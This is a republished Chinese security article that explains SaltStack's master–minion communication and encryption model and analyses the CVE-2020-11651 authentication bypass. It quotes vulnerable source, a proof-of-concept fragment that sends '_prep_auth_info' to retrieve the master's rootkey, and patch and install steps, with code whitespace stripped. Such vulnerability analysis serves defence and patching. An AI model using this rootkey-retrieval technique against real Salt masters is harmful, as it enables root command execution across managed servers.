影视聚合站 科技 文章内容

SaltStack 的通讯及安全机制和CVE-2020-11651(身份验证绕过漏洞)分析(一)

发布时间:2020-07-11 11:21:03来源:E安全

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

1.Saltstack是什么

Salt是:

一个配置管理系统,能够维护预定义状态的远程节点(比如,确保指定的报被安装,指定的服务在运行)一个分布式远程执行系统,用来在远程节点(可以是单个节点,也可以是任意规则挑选出来的节点)上执行命令和查询数据。开发其的目的是为远程执行提供最好的解决方案,并使远程执行变得更好,更快,更简单。

2.使用简单

既要考虑大规模部署,又要考虑小规模系统,提供适应多种场合的应用让人沮丧,但Salt非常容易设置和维护,而不用考虑项目的大小。从数量可观的本地网络系统,到跨数据中心的互联网部署,Salt设计为在任意数量的server下都可工作。salt的拓扑使用简单的server/client模式,需求的功能内建在一组daemon中。salt在几乎不改动配置的情况下就可以工作,也可以调整从而满足特定的需求

3.并行执行

Salt的核心功能

使命令发送到远程系统是并行的而不是串行的

使用安全加密的协议

使用最小最快的网络载荷

提供简单的编程接口

Salt同样引入了更加细致化的领域控制系统来远程执行,使得系统成为目标不止可以通过主机名,还可以通过系统属性。

No.1

SaltStack的通讯架构模型

Salt采用服务端-代理的通讯模型(也可以通过SSH方式实现非代理模式)。

服务端称为Saltmaster,代理端称为Saltminion。

Saltmaster负责发送命令予Saltminion,随后收集并展示这些命令的执行结果。

一台Saltmaster可以管理几千台的系统。

No.2

SaltStack的通讯模型

Saltmaster与minion通讯采用的是”订阅-发布“的模式。

通讯的连接由Saltminion发起,这意味着minion无须开启进向的端口(注意:此方式极大地简便了网络规则的设定)。

而Saltmaster的4505和4506端口(默认)必须开启,以接收外部的连接。其中端口功能如下表所示。

通讯模型如下图所示。

No.3

Saltminion验证机制

(1).当minion启动时,其将搜索网络中的master。

当找到时,minion将发送公钥给Saltmaster,从而实现初次握手。其过程如下图所示。

(2).当初次握手后,Saltminion的公钥将被保存在服务端,此时master需要使用过salt-key命令接收公钥(也可以采用自动机制)。注意:在Saltminion的公钥被接收前,Saltmaster是不会将密钥发放给minion的,也就是说minion在此之前不会执行任何命令。

(3).当Saltminion的公钥被接收后,Saltmaster就会把公钥连同用于加解密master信息的可变动AES密钥发送至Saltminion。其中,返回给Saltminion的AES密钥由minion的公钥加密,可由Saltminion解密。

No.4

SaltStack的安全通讯机制

当完成验证后,Saltmaster与Saltminion基于AES密钥进行加解密操作。AES加密密钥基于最新的TLS版本,使用显式初始化向量和CBC块链接算法生成。

No.5

SaltStack的可变动密钥

Salt的可变动AES密钥用于加密由Saltmaster发送至Saltminion的作业,也用于加密至Saltmaster文件服务的连接。每次Saltmaster重启或Saltminion解除验证后,该可变动的AES密钥均会自动更新

No.6

SaltStack的加密通讯信道

Saltmaster与minion间的公开通讯均以同一个可变动AES密钥加密。但对于Saltmaster与minion的直接通讯(点对点),每个会话都采用一个唯一的AES密钥

例如:统一公布的作业采用可变动AES密钥进行加密;而以Saltpillar格式发送minion专用数据时,master与每个minion都会有独立的会话,且每个会话采用唯一的AES密钥进行加密。

No.7

SaltStack用户接入控制

在命令发送至minion之前,Salt将会检查发布者访问控制列表(ACL),确保接收到命令的minion具有正确的权限。如果权限符合,则命令将被发送至对应minion,否则将返回报错。Salt还可以返回将响应命令的minion列表,以此确定返回是否结束。

No.8

下载安装

官网:https://github.com/saltstack/salt下载salt-3000.tar.gz

安装https://pypi.org/simple/salt/tar-xvzfsalt-3000.tar.gz

python3setup.pyinstall安装

启动sudosalt-master

启动完成

监听两个端口4505和4506

No.9

漏洞细节

身份验证绕过漏洞(CVE-2020-11651)漏洞分析:

ClearFuncs类处理未经身份验证的请求,并且调用_send_pub()方法,该方法可用于在master上对消息进行排队(zeromq)。此类消息以root身份运行任意命令。

salt/master/master.py

第2196行

def_send_pub(self,load):'''Takealoadandsenditacrossthenetworktoconnectedminions'''fortransport,optsiniter_transport_opts(self.opts):chan=salt.transport.serv

ClearFuncs类调用_prep_auth_info()方法,该方法返回用于验证master上本地root用户命令的“rootkey”。

然后,可以使用此“rootkey”在master上远程调用管理命令。

salt/master/master.py

第2153行

def_prep_auth_info(self,clear_load):sensitive_load_keys=[]key=Noneif'token'inclear_load:auth_type='token'err_name='TokenAuthenticationError'sensitive_load_keys=['token']elif'eauth'inclear_load:auth_type='eauth'err_name='EauthAuthenticationError'sensitive_load_keys=['username','password']else:auth_type='user'err_name='UserAuthenticationError'key=self.key

No.10

poc利用

读取出key(使用https://github.com/dozernz/cve-2020-11651)

defping_master():print("Attemptingtopingmasterat"+master_ip)try:msg={"cmd":"ping"}response=clear_channel.send(msg,timeout=3)ifresponse:returnTrueexceptsalt.exceptions.SaltReqTimeoutError:returnFalsereturnFalsedefget_rootkey():try:response=clear_channel.send({'cmd':'_prep_auth_info'},timeout=2)foriinresponse:ifisinstance(i,dict)andlen(i)==1:rootkey=list(i.values())[0]print("Retrievedrootkey:"+rootkey)returnrootkeyreturnFalseexcept:returnFalse

读取rootkey

No.11

补丁分析

为了修复CVE-2020-11651漏洞,SaltStack定义了公开的方法,用户可以在明文消息中指定这些方法。这是通过一个名为get_method()的新函数完成。

使用新函数get_method()

函数get_method()检查公开的方法

传输方法:ping、publist、get_token、mk_token、wheel、runner

No.12

安装补丁

python-c"importimp;print(imp.find_module('salt')[1])"patch-p2-d/usr/lib/python2.7/dist-packages/salt<2017.7.8_CVE-2020-11651.patchsystemctlrestartsalt-masterservicesalt-masterrestart

注:本文由E安全编译报道,转载请注原文地址

https://www.easyaq.com

推荐阅读:

▼点击“阅读原文”查看更多精彩内容

喜欢记得打赏小E哦!

© 2016-2017 ysjhz.com Inc.

站点统计| 举报| Archiver| 手机版| 小黑屋| 影视聚合站 ( 皖ICP备16004362号-2 )